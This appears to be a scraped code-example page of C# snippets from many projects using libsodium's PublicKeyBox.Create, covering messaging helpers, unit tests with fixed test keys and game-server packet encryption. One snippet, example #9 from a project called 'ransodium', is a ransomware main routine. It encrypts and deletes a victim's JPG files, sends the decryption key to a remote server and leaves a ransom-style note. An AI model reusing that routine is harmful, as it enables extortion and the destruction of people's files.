コード例 #1
0
ファイル: ServerCrypto.cs プロジェクト: 0trebor0/UCSMagic
        public static void EncryptPacket(Socket _Socket, ServerState _State, int _PacketID, int unknown, byte[] plainText)
        {
            byte[] cipherText;

            if (_PacketID == 20100)
            {
                cipherText = plainText;
            }
            else if (_PacketID == 20103)
            {
                byte[] nonce = GenericHash.Hash(_State.clientState.nonce.Concat(_State.clientKey).Concat(_State.serverKey.PublicKey).ToArray(), null, 24);
                plainText  = _State.nonce.Concat(_State.sharedKey).Concat(plainText).ToArray();
                cipherText = PublicKeyBox.Create(plainText, nonce, _State.serverKey.PrivateKey, _State.clientKey);
            }
            else if (_PacketID == 20104)
            {
                byte[] nonce = GenericHash.Hash(_State.clientState.nonce.Concat(_State.clientKey).Concat(_State.serverKey.PublicKey).ToArray(), null, 24);
                plainText  = _State.nonce.Concat(_State.sharedKey).Concat(plainText).ToArray();
                cipherText = PublicKeyBox.Create(plainText, nonce, _State.serverKey.PrivateKey, _State.clientKey);
            }
            else
            {
                cipherText = SecretBox.Create(plainText, _State.nonce, _State.sharedKey).Skip(16).ToArray();
            }

            byte[] packet = BitConverter.GetBytes(_PacketID).Reverse().Skip(2).Concat(BitConverter.GetBytes(cipherText.Length).Reverse().Skip(1)).Concat(BitConverter.GetBytes(unknown).Reverse().Skip(2)).Concat(cipherText).ToArray();
            _Socket.BeginSend(packet, 0, packet.Length, 0, SendCallback, _State);
        }
コード例 #2
0
ファイル: Boxes.cs プロジェクト: zevaryx/cryptchat
        public static Dictionary <string, string> Encrypt(string message, string secretKey, string publicKey)
        {
            byte[] nonce = GenerateNonce();
            byte[] secret_bytes;
            byte[] public_bytes;
            if (!Utils.IsBase64(secretKey))
            {
                secret_bytes = Encoding.ASCII.GetBytes(secretKey);
            }
            else
            {
                secret_bytes = Convert.FromBase64String(secretKey);
            }

            if (!Utils.IsBase64(publicKey))
            {
                public_bytes = Encoding.ASCII.GetBytes(publicKey);
            }
            else
            {
                public_bytes = Convert.FromBase64String(publicKey);
            }

            var crypt = PublicKeyBox.Create(message, nonce, secret_bytes, public_bytes);

            return(new Dictionary <string, string>()
            {
                { "nonce", Convert.ToBase64String(nonce) },
                { "crypt", Convert.ToBase64String(crypt) }
            });
        }
コード例 #3
0
 public void Encrypt(byte[] plainText)
 {
     try
     {
         if (this.GetMessageType() == 20103)
         {
             byte[] nonce = GenericHash.Hash(this.Client.CSNonce.Concat(this.Client.CPublicKey).Concat(Key.Crypto.PublicKey).ToArray <byte>(), null, 24);
             plainText = this.Client.CRNonce.Concat(this.Client.CSharedKey).Concat(plainText).ToArray <byte>();
             this.SetData(PublicKeyBox.Create(plainText, nonce, Key.Crypto.PrivateKey, this.Client.CPublicKey));
         }
         else if (this.GetMessageType() == 20104)
         {
             byte[] nonce2 = GenericHash.Hash(this.Client.CSNonce.Concat(this.Client.CPublicKey).Concat(Key.Crypto.PublicKey).ToArray <byte>(), null, 24);
             plainText = this.Client.CRNonce.Concat(this.Client.CSharedKey).Concat(plainText).ToArray <byte>();
             this.SetData(PublicKeyBox.Create(plainText, nonce2, Key.Crypto.PrivateKey, this.Client.CPublicKey));
             this.Client.CState = 2;
         }
         else
         {
             this.Client.CRNonce = Sodium.Utilities.Increment(Sodium.Utilities.Increment(this.Client.CRNonce));
             this.SetData(SecretBox.Create(plainText, this.Client.CRNonce, this.Client.CSharedKey).Skip(16).ToArray <byte>());
         }
     }
     catch (Exception)
     {
         this.Client.CState = 0;
     }
 }
コード例 #4
0
ファイル: Message.cs プロジェクト: mugmickey/UCR-1
 public void Encrypt(byte[] plainText)
 {
     try
     {
         if (GetMessageType() == 20103)
         {
             byte[] nonce = GenericHash.Hash(Client.CSNonce.Concat(Client.CPublicKey).Concat(Key.Crypto.PublicKey).ToArray(), null, 24);
             plainText = Client.CRNonce.Concat(Client.CSharedKey).Concat(plainText).ToArray();
             SetData(PublicKeyBox.Create(plainText, nonce, Key.Crypto.PrivateKey, Client.CPublicKey));
         }
         else if (GetMessageType() == 20104)
         {
             byte[] nonce = GenericHash.Hash(Client.CSNonce.Concat(Client.CPublicKey).Concat(Key.Crypto.PublicKey).ToArray(), null, 24);
             plainText = Client.CRNonce.Concat(Client.CSharedKey).Concat(plainText).ToArray();
             SetData(PublicKeyBox.Create(plainText, nonce, Key.Crypto.PrivateKey, Client.CPublicKey));
             Client.CState = 2;
         }
         else
         {
             Client.CRNonce = Utilities.Increment(Utilities.Increment(Client.CRNonce));
             SetData(SecretBox.Create(plainText, Client.CRNonce, Client.CSharedKey).Skip(16).ToArray());
         }
     }
     catch (Exception ex)
     {
         Client.CState = 0;
     }
 }
コード例 #5
0
ファイル: ServerCrypto.cs プロジェクト: mugmickey/UCR-1
        public static void EncryptPacket(Socket socket, ServerState state, int messageId, int unknown, byte[] plainText)
        {
            byte[] cipherText;
            if (messageId == 20100)
            {
                cipherText = plainText;
            }
            else if (messageId == 20104)
            {
                var nonce =
                    GenericHash.Hash(
                        state.clientState.nonce.Concat(state.clientKey).Concat(state.serverKey.PublicKey).ToArray(),
                        null, 24);
                plainText  = state.nonce.Concat(state.sharedKey).Concat(plainText).ToArray();
                cipherText = PublicKeyBox.Create(plainText, nonce, state.serverKey.PrivateKey, state.clientKey);
            }
            else
            {
                cipherText = SecretBox.Create(plainText, state.nonce, state.sharedKey).Skip(16).ToArray();
            }
            var packet =
                BitConverter.GetBytes(messageId)
                .Reverse()
                .Skip(2)
                .Concat(BitConverter.GetBytes(cipherText.Length).Reverse().Skip(1))
                .Concat(BitConverter.GetBytes(unknown).Reverse().Skip(2))
                .Concat(cipherText)
                .ToArray();

            socket.BeginSend(packet, 0, packet.Length, 0, SendCallback, state);
        }
コード例 #6
0
 public void PublicKeyBoxCreateWithBadNonce()
 {
     PublicKeyBox.Create(
         Encoding.UTF8.GetBytes("Adam Caudill"),
         Encoding.UTF8.GetBytes("ABCDEFGHIJKLMNOPQRSTUVX"),
         Utilities.HexToBinary("2a5c92fac62514f793c0bfd374f629a138c5702793a32c61dadc593728a15975"),
         Utilities.HexToBinary("83638e30326e2f55509286ac86afeb5bfd0732a3d11747bd50eb96bb9ec85645"));
 }
コード例 #7
0
        public static string[] RSAEncryption(string publicKey, string privateKey, string plainText)
        {
            var encodedPrivateKey = Encoding.UTF8.GetBytes(privateKey);
            var encodedPublicKey  = Encoding.UTF8.GetBytes(publicKey);
            var nonce             = PublicKeyBox.GenerateNonce();
            var cipherText        = PublicKeyBox.Create(plainText, nonce, encodedPrivateKey, encodedPublicKey);

            return(new[] { Encoding.UTF8.GetString(cipherText), Encoding.UTF8.GetString(nonce) });
        }
コード例 #8
0
        private string Encrypt(string plainText, string recipientsPublicKey, byte[] nonce)
        {
            byte[] plainBytes   = Encoding.UTF8.GetBytes(plainText);
            byte[] rpkBytes     = Convert.FromBase64String(recipientsPublicKey);
            byte[] cipherBytes  = PublicKeyBox.Create(plainBytes, nonce, privateKey, rpkBytes);
            string cipherString = Convert.ToBase64String(cipherBytes);

            return(cipherString);
        }
コード例 #9
0
ファイル: Program.cs プロジェクト: syphersec/ransodium
        private static void Main()
        {
            // files to search for
            var searchPattern = new[] { "jpg" };

            try
            {
                var ephemeralKeyPair = PublicKeyBox.GenerateKeyPair();
                var nonce            = PublicKeyBox.GenerateNonce();
                // we encrypt the ephemeral private key for the target public key
                var cipher = PublicKeyBox.Create(ephemeralKeyPair.PrivateKey, nonce, ephemeralKeyPair.PrivateKey,
                                                 Utilities.HexToBinary(TargetPublicKeyHex));

                var textToSendRemote =
                    Convert.ToBase64String(ArrayHelpers.ConcatArrays(nonce, ephemeralKeyPair.PublicKey, cipher));
                var textToShowTheUser =
                    string.Format(
                        "Your public key: {0}\nThis key is used to identify your private decryption key (on the admin site).",
                        Utilities.BinaryToHex(ephemeralKeyPair.PublicKey));
                cipher = null;
                nonce  = null;
                var files = GetFiles(MainFolder, searchPattern);
                if (files.Count > ParallelUseBorder)
                {
                    Parallel.ForEach(files, file =>
                    {
                        Cryptor.EncryptFileWithStream(ephemeralKeyPair, file, null, EncryptedFileExtension, true);
                        if (SecureRandomDelete)
                        {
                            SecureDelete(file);
                        }
                        File.Delete(file);
                    });
                }
                else
                {
                    foreach (var file in files)
                    {
                        Cryptor.EncryptFileWithStream(ephemeralKeyPair, file, null, EncryptedFileExtension, true);
                        if (SecureRandomDelete)
                        {
                            SecureDelete(file);
                        }
                        File.Delete(file);
                    }
                }
                ephemeralKeyPair.Dispose();

                SendToRemoteServer(textToSendRemote);
                CreateUserFile(Path.Combine(MainFolder, UserFile), textToShowTheUser);
            }
            catch
            {
                /*  */
            }
        }
コード例 #10
0
    public static byte[] Encrypt(byte[] message, byte[] yourPrivateKey, byte[] theirPublicKey)
    {
        var nonce  = PublicKeyBox.GenerateNonce();
        var cipher = PublicKeyBox.Create(message, nonce, yourPrivateKey, theirPublicKey);
        var output = new byte[nonce.Length + cipher.Length];

        nonce.CopyTo(output, 0);
        cipher.CopyTo(output, cipher.Length);
        return(output);
    }
コード例 #11
0
        public void PublicKeyBoxCreateWithBadNonce()
        {
            var message = Encoding.UTF8.GetBytes("Adam Caudill");
            var nonce   = Encoding.UTF8.GetBytes("ABCDEFGHIJKLMNOPQRSTUVX");
            var bobSk   = Utilities.HexToBinary("2a5c92fac62514f793c0bfd374f629a138c5702793a32c61dadc593728a15975");
            var alicePk = Utilities.HexToBinary("83638e30326e2f55509286ac86afeb5bfd0732a3d11747bd50eb96bb9ec85645");

            Assert.Throws <NonceOutOfRangeException>(
                () => PublicKeyBox.Create(message, nonce, bobSk, alicePk));
        }
コード例 #12
0
        public static byte[] Encrypt(string message, KeyPair keypair)
        {
            var nonce  = PublicKeyBox.GenerateNonce();
            var cipher = PublicKeyBox.Create(message, nonce, keypair.PrivateKey, keypair.PublicKey);
            var output = new byte[nonce.Length + cipher.Length];

            nonce.CopyTo(output, 0);
            cipher.CopyTo(output, cipher.Length);
            return(output);
        }
コード例 #13
0
        public void SimpleCreateTest()
        {
            var expected = Utilities.HexToBinary("aed04284c55860ad0f6379f235cc2cb8c32aba7a811b35cfac94f64d");
            var actual   = PublicKeyBox.Create(
                Encoding.UTF8.GetBytes("Adam Caudill"),
                Encoding.UTF8.GetBytes("ABCDEFGHIJKLMNOPQRSTUVWX"),
                Utilities.HexToBinary("2a5c92fac62514f793c0bfd374f629a138c5702793a32c61dadc593728a15975"),
                Utilities.HexToBinary("83638e30326e2f55509286ac86afeb5bfd0732a3d11747bd50eb96bb9ec85645"));

            CollectionAssert.AreEqual(expected, actual);
        }
コード例 #14
0
        public string Encrypt(string text, MAEUserSession user)
        {
            var encrypted = string.Empty;

            var bytes  = Encoding.UTF8.GetBytes(text);
            var eBytes = PublicKeyBox.Create(bytes, Convert.FromBase64String(user.Nonce), Convert.FromBase64String(user.ClientSecret), Convert.FromBase64String(user.ServerPublic));

            encrypted = Convert.ToBase64String(eBytes);

            return(encrypted);
        }
コード例 #15
0
        /// <summary>
        /// Encrypts and packs the packet for sending down the wire.
        /// </summary>
        /// <returns>The packet.</returns>
        /// <param name="sk">Local (sender) secret key.</param>
        /// <param name="pk">Remote (recipent) public key</param>
        public byte[] EncryptPacket(byte[] sk, byte[] pk)
        {
            byte[] header = this.PackHeader();
            //seq + ack + id + payload
            MemoryStream rpcRaw = new MemoryStream();

            if (this.HasRPC)
            {
                if (this.RPCs.Count > 0)
                {
                    rpcRaw.WriteByte((byte)RPCType.RPCStart);
                    foreach (IHasSerializationTag rpc in this.RPCs)
                    {
                        byte[] curRpcBytes = rpc.Serialize();
                        rpcRaw.WriteByte(rpc.SerializationTag);
                        rpcRaw.Write(curRpcBytes, 0, curRpcBytes.Length);
                    }
                    rpcRaw.WriteByte((byte)RPCType.RPCEnd);
                }
            }
            rpcRaw.Close();

            byte[] rpcBytes    = rpcRaw.ToArray();
            int    totalLength = 4 + 4 + 4;

            if (rpcBytes.Length > 0)
            {
                totalLength += rpcBytes.Length;
            }
            totalLength++;
            totalLength += this.Payload.Length;
            byte[] encryptedPart = new byte[totalLength];
            uint   index         = 0;

            PackingHelpers.PackUint32(Seq, encryptedPart, ref index);
            PackingHelpers.PackUint32(Ack, encryptedPart, ref index);
            PackingHelpers.PackUint32(CID, encryptedPart, ref index);
            if (rpcBytes.Length > 0)
            {
                Array.Copy(rpcBytes, 0, encryptedPart, index, rpcBytes.Length);
                index += (uint)rpcBytes.Length;
            }
            //start message flag.
            encryptedPart[index] = START_PAYLOAD_FLAG;
            ++index;
            Array.Copy(this.Payload, 0, encryptedPart, index, this.Payload.Length);
            byte[] ciphered = PublicKeyBox.Create(encryptedPart, this.Nonce, sk, pk);
            this.CipherText = ciphered;
            byte[] ret = new byte[header.Length + ciphered.Length];
            Array.Copy(header, ret, header.Length);
            Array.Copy(ciphered, 0, ret, header.Length, ciphered.Length);
            this.rawBytes = ret;
            return(ret);
        }
コード例 #16
0
        /// <summary>
        /// Locks Data
        ///
        /// Primitive: X25519 + XSalsa20 + Poly1305 MAC  (libsodium crypto_box)
        /// </summary>
        /// <param name="str">The Data to lock</param>
        /// <returns>The locked Data</returns>
        /// /// <example>
        /// <code>
        /// var TEST_STRING = "eine kuh macht muh, viele kühe machen mühe"
        /// // Create a new Symmertic Key
        /// var key = new Key();
        /// // Create a locker with this key
        /// var locker = new SecretLocker(key);
        /// // Encrypt the bytes
        /// var ciphertext = locker.Lock(TEST_STRING);
        /// // Decrypt the bytes
        /// var plaintext = locker.UnlockBytes(ciphertext);
        /// // Clear Keys
        /// locker.Clear();
        /// </code>
        /// </example>
        public ISharedLocked Lock(byte[] data)
        {
            if (data == null || data.Length == 0)
            {
                throw new ArgumentNullException(nameof(data));
            }

            var nonce     = new Nonce(PublicKeyBox.GenerateNonce());
            var encrypted = PublicKeyBox.Create(data, nonce.Bytes, secretKey: privateKey.Bytes, publicKey: publickKey.Bytes);

            return(new SharedLocked(encrypted, nonce));
        }
コード例 #17
0
        public void CreateAndOpenWithOneKeyTest()
        {
            var kp    = PublicKeyBox.GenerateKeyPair();
            var nonce = PublicKeyBox.GenerateNonce();

            byte[] message = System.Text.Encoding.UTF8.GetBytes("Hello, World!");

            var encrypted = PublicKeyBox.Create(message, nonce, kp.Secret, kp.Public);
            var decrypted = PublicKeyBox.Open(encrypted, nonce, kp.Secret, kp.Public);

            Assert.AreEqual(decrypted.ToString(), message.ToString());
        }
コード例 #18
0
        public void PublicKeyBoxCreateWithBadPrivateKey()
        {
            var bobSk = new byte[] {
                0x5d, 0xab, 0x08, 0x7e, 0x62, 0x4a, 0x8a, 0x4b,
                0x79, 0xe1, 0x7f, 0x8b, 0x83, 0x80, 0x0e, 0xe6,
                0x6f, 0x3b, 0xb1, 0x29, 0x26, 0x18, 0xb6, 0xfd,
                0x1c, 0x2f, 0x8b, 0x27, 0xff, 0x88
            };

            PublicKeyBox.Create(
                Encoding.UTF8.GetBytes("Adam Caudill"),
                Encoding.UTF8.GetBytes("ABCDEFGHIJKLMNOPQRSTUVWX"), bobSk,
                Utilities.HexToBinary("83638e30326e2f55509286ac86afeb5bfd0732a3d11747bd50eb96bb9ec85645"));
        }
コード例 #19
0
        private void SendData(byte[] encodedData)
        {
            var nonce     = PublicKeyBox.GenerateNonce();
            var encrypted = PublicKeyBox.Create(encodedData, nonce, localKeyPair.PrivateKey, remotePublicKey);
            var packet    = Encoding.ASCII.GetBytes("Aud")
                            .Concat(sessionID)
                            .Concat(BitConverter.GetBytes(seq))
                            .Concat(nonce)
                            .Concat(encrypted)
                            .ToArray();

            seq++;
            client.Send(packet, packet.Length);
        }
コード例 #20
0
        public void PublicKeyBoxCreateWithBadPublicKey()
        {
            var bobPk = new byte[] {
                0x5d, 0xab, 0x08, 0x7e, 0x62, 0x4a, 0x8a, 0x4b,
                0x79, 0xe1, 0x7f, 0x8b, 0x83, 0x80, 0x0e, 0xe6,
                0x6f, 0x3b, 0xb1, 0x29, 0x26, 0x18, 0xb6, 0xfd,
                0x1c, 0x2f, 0x8b, 0x27, 0xff, 0x88
            };

            PublicKeyBox.Create(
                Encoding.UTF8.GetBytes("Adam Caudill"),
                Encoding.UTF8.GetBytes("ABCDEFGHIJKLMNOPQRSTUVWX"),
                Utilities.HexToBinary("2a5c92fac62514f793c0bfd374f629a138c5702793a32c61dadc593728a15975"), bobPk);
        }
コード例 #21
0
        public void PublicKeyBoxCreateWithBadPrivateKey()
        {
            var bobSk = new byte[] {
                0x5d, 0xab, 0x08, 0x7e, 0x62, 0x4a, 0x8a, 0x4b,
                0x79, 0xe1, 0x7f, 0x8b, 0x83, 0x80, 0x0e, 0xe6,
                0x6f, 0x3b, 0xb1, 0x29, 0x26, 0x18, 0xb6, 0xfd,
                0x1c, 0x2f, 0x8b, 0x27, 0xff, 0x88
            };
            var message = Encoding.UTF8.GetBytes("Adam Caudill");
            var nonce   = Encoding.UTF8.GetBytes("ABCDEFGHIJKLMNOPQRSTUVWX");
            var alicePk = Utilities.HexToBinary("83638e30326e2f55509286ac86afeb5bfd0732a3d11747bd50eb96bb9ec85645");

            Assert.Throws <KeyOutOfRangeException>(
                () => PublicKeyBox.Create(message, nonce, bobSk, alicePk));
        }
コード例 #22
0
        public void PublicKeyBoxCreateWithBadPublicKey()
        {
            var bobPk = new byte[] {
                0x5d, 0xab, 0x08, 0x7e, 0x62, 0x4a, 0x8a, 0x4b,
                0x79, 0xe1, 0x7f, 0x8b, 0x83, 0x80, 0x0e, 0xe6,
                0x6f, 0x3b, 0xb1, 0x29, 0x26, 0x18, 0xb6, 0xfd,
                0x1c, 0x2f, 0x8b, 0x27, 0xff, 0x88
            };
            var message = Encoding.UTF8.GetBytes("Adam Caudill");
            var nonce   = Encoding.UTF8.GetBytes("ABCDEFGHIJKLMNOPQRSTUVWX");
            var aliceSk = Utilities.HexToBinary("2a5c92fac62514f793c0bfd374f629a138c5702793a32c61dadc593728a15975");

            Assert.Throws <KeyOutOfRangeException>(
                () => PublicKeyBox.Create(message, nonce, aliceSk, bobPk));
        }
コード例 #23
0
ファイル: Monke.cs プロジェクト: dededec/TFG
    public override void ServerSend(int connectionId, int channelId, ArraySegment <byte> segment)
    {
        if (_serverSessions.ContainsKey(connectionId))
        {
            int pos = 0;
            _clientSendBuffer.WriteByte(ref pos, (byte)OpCodes.Data);
            _writeBuffer = new byte[segment.Count];
            Buffer.BlockCopy(segment.Array, segment.Offset, _writeBuffer, 0, segment.Count);
            _nonce = PublicKeyBox.GenerateNonce();

            _clientSendBuffer.WriteBytes(ref pos, PublicKeyBox.Create(_writeBuffer, _nonce, _keyPair.PrivateKey, _serverSessions[connectionId]));
            _clientSendBuffer.WriteBytes(ref pos, _nonce);
            CommunicationTransport.ServerSend(connectionId, channelId, new ArraySegment <byte>(_clientSendBuffer, 0, pos));
        }
    }
コード例 #24
0
        public static byte[] Encrypt(byte[] message, byte[] privateKey, byte[] publicKey)
        {
            var nonce      = GenerateNonce();
            var cipherText = PublicKeyBox.Create(message, nonce, privateKey, publicKey);
            var record     = new byte[25 + cipherText.Length];

            record[0] = VERSION;

            var offset = 1;

            Buffer.BlockCopy(nonce, 0, record, offset, NONCE_SIZE_BYTES);

            offset += NONCE_SIZE_BYTES;
            Buffer.BlockCopy(cipherText, 0, record, offset, cipherText.Length);

            return(record);
        }
コード例 #25
0
ファイル: EncryptedFileHeader.cs プロジェクト: SP8DE/protocol
 /// <summary>
 ///     Initialize the EncryptedFileHeader for encryption.
 /// </summary>
 /// <param name="currentVersion">The StreamCryptor version.</param>
 /// <param name="nonceLength">The length which nonces will be generated.</param>
 /// <param name="chunkBaseNonceLength">The length of the base nonce.</param>
 /// <param name="unencryptedFileLength">The length of unencrypted file.</param>
 /// <param name="senderPrivateKey">The senders private key.</param>
 /// <param name="senderPublicKey">The senders public key.</param>
 /// <param name="recipientPublicKey">The recipient public key.</param>
 public EncryptedFileHeader(int currentVersion, int nonceLength, int chunkBaseNonceLength,
                            long unencryptedFileLength, byte[] senderPrivateKey, byte[] senderPublicKey, byte[] recipientPublicKey)
 {
     //set the version
     Version = currentVersion;
     //get some ephemeral key fot this file
     UnencryptedEphemeralKey = SodiumCore.GetRandomBytes(64);
     //generate a nonce for the encrypted ephemeral key
     EphemeralNonce = SodiumCore.GetRandomBytes(nonceLength);
     //generate a nonce for encypting the file name
     FilenameNonce = SodiumCore.GetRandomBytes(nonceLength);
     //encrypt the ephemeral key with our public box
     Key = PublicKeyBox.Create(UnencryptedEphemeralKey, EphemeralNonce, senderPrivateKey, recipientPublicKey);
     //set the senders public key to the header, to guarantee the recipient can decrypt it
     SenderPublicKey = senderPublicKey;
     //a random base nonce (16 byte), which will be filled up to 24 byte in every chunk
     BaseNonce = SodiumCore.GetRandomBytes(chunkBaseNonceLength);
     //set unencrypted file length to the file header
     UnencryptedFileLength = unencryptedFileLength;
 }
コード例 #26
0
ファイル: ClientCrypto.cs プロジェクト: Makita43/royale-proxy
        public static void EncryptPacket(ClientState state, int ID, int version, byte[] plainText)
        {
            byte[] cipherText;

            switch (ID)
            {
            case 10100:
            {
                cipherText = plainText;

                break;
            }

            case 10101:
            {
                var nonce = GenericHash.Hash(state.ClientKey.PublicKey.Concat(state.ServerKey).ToArray(), null, 24);

                plainText = state.ServerState.SessionKey.Concat(state.Nonce).Concat(plainText).ToArray();

                cipherText = PublicKeyBox.Create(plainText, nonce, state.ClientKey.PrivateKey, state.ServerKey);

                cipherText = state.ClientKey.PublicKey.Concat(cipherText).ToArray();

                break;
            }

            default:
            {
                cipherText = SecretBox.Create(plainText, state.Nonce, state.ServerState.SharedKey).Skip(16)
                             .ToArray();

                break;
            }
            }

            var packet = BitConverter.GetBytes(ID).Reverse().Skip(2)
                         .Concat(BitConverter.GetBytes(cipherText.Length).Reverse().Skip(1))
                         .Concat(BitConverter.GetBytes(version).Reverse().Skip(2)).Concat(cipherText).ToArray();

            state.Socket.BeginSend(packet, 0, packet.Length, 0, SendCallback, state);
        }
コード例 #27
0
        public void CreateAndOpenWithKeyExchangeTest()
        {
            var    alice   = PublicKeyBox.GenerateKeyPair();
            var    bob     = PublicKeyBox.GenerateKeyPair();
            var    nonce   = PublicKeyBox.GenerateNonce();
            String message = "Hello, World!";

            byte[] byteMessage = System.Text.Encoding.UTF8.GetBytes(message);

            var encrypted = PublicKeyBox.Create(byteMessage, nonce, alice.Secret, bob.Public);
            var decrypted = PublicKeyBox.Open(encrypted, nonce, bob.Secret, alice.Public);

            Assert.AreEqual(decrypted.ToString(), byteMessage.ToString());

            var newEncrypted = PublicKeyBox.Create(message, nonce, alice.Secret, bob.Public);

            Assert.AreEqual(Convert.ToBase64String(encrypted), Convert.ToBase64String(newEncrypted));
            var newDecrypted = PublicKeyBox.Open(newEncrypted, nonce, bob.Secret, alice.Public);

            Assert.AreEqual(decrypted.ToString(), newDecrypted.ToString());
        }
コード例 #28
0
 public static void EncryptPacket(Socket socket, ServerState state, int messageId, int unknown, byte[] plainText)
 {
     byte[] cipherText;
     if (messageId == 20100 || (messageId == 20103 && state.sharedKey == null))
     {
         cipherText = plainText;
     }
     else if (messageId == 20103 || messageId == 20104)
     {
         byte[] nonce = GenericHash.Hash(state.clientState.nonce.Concat(state.clientKey).Concat(state.serverKey.PublicKey).ToArray(), null, 24);
         plainText  = state.nonce.Concat(state.sharedKey).Concat(plainText).ToArray();
         cipherText = PublicKeyBox.Create(plainText, nonce, state.serverKey.PrivateKey, state.clientKey);
     }
     else
     {
         // nonce was already incremented in ClientCrypto.DecryptPacket
         cipherText = SecretBox.Create(plainText, state.nonce, state.sharedKey).Skip(16).ToArray();
     }
     byte[] packet = BitConverter.GetBytes(messageId).Reverse().Skip(2).Concat(BitConverter.GetBytes(cipherText.Length).Reverse().Skip(1)).Concat(BitConverter.GetBytes(unknown).Reverse().Skip(2)).Concat(cipherText).ToArray();
     socket.BeginSend(packet, 0, packet.Length, 0, new AsyncCallback(SendCallback), state);
 }
コード例 #29
0
        public static byte[] Encrypt(byte[] Payload, int Id, int Version, KeyPair keyPair)
        {
            if (!Form1.Config.UseRC4)
            {
                switch (Id)
                {
                case 10100:
                    encryptedPayload = Payload;
                    break;

                case 10101:
                    ClientConfig.Nonce  = GenericHash.Hash(keyPair.PublicKey.Concat(Keys.ServerKey).ToArray(), null, 24);
                    ClientConfig.SNonce = Utils.GenerateRandomBytes(24);
                    Payload             = ClientConfig.SessionKey.Concat(ClientConfig.SNonce).Concat(Payload).ToArray();
                    encryptedPayload    = PublicKeyBox.Create(Payload, ClientConfig.Nonce, keyPair.PrivateKey, Keys.ServerKey);
                    encryptedPayload    = keyPair.PublicKey.Concat(encryptedPayload).ToArray();
                    Console.WriteLine(BitConverter.ToString(ClientConfig.Nonce).Replace("-", ""));
                    Console.WriteLine(BitConverter.ToString(ClientConfig.SNonce).Replace("-", ""));
                    Console.WriteLine(BitConverter.ToString(ClientConfig.SessionKey).Replace("-", ""));
                    break;

                default:
                    ClientConfig.SNonce = Utilities.Increment(Utilities.Increment(ClientConfig.SNonce));
                    encryptedPayload    = SecretBox.Create(Payload, ClientConfig.SNonce, ClientConfig.SharedKey);
                    Console.WriteLine($"Encrypted ID: {Id} with Nonce: {BitConverter.ToString(ClientConfig.SNonce).Replace("-", "")}");
                    break;
                }
            }
            else if (Form1.Config.UseRC4)
            {
                encryptedPayload = RC4.Encrypt(Payload);
            }
            else
            {
            }
            byte[] packet = BitConverter.GetBytes(Id).Reverse().Skip(2).Concat(BitConverter.GetBytes(encryptedPayload.Length).Reverse().Skip(1)).Concat(BitConverter.GetBytes(Version).Reverse().Skip(2)).Concat(encryptedPayload).ToArray();
            return(packet);
        }
コード例 #30
0
        public static byte[] EncryptMessage(byte[] message, string toId)
        {
            //generate an ephemeral key to encrypt this with
            var key = PublicKeyBox.GenerateKeyPair();

            //decode the recip ID
            var recip = Base58Check.Base58CheckEncoding.Decode(toId);

            //Check to make sure that the ID version is supported
            if (recip[0] != ID_VERSION)
            {
                throw new CryptographicException("Invalid ID Format.");
            }

            var nonce         = SodiumCore.GetRandomBytes(24);
            var encrypted     = PublicKeyBox.Create(message, nonce, key.PrivateKey, ArrayHelpers.SubArray(recip, 1));
            var recipVerifier = GenericHash.Hash(ArrayHelpers.ConcatArrays(nonce, key.PublicKey), null, 16);
            var version       = new byte[] { 0x00 };

            var final = ArrayHelpers.ConcatArrays(version, nonce, key.PublicKey, recipVerifier, encrypted);

            return(final);
        }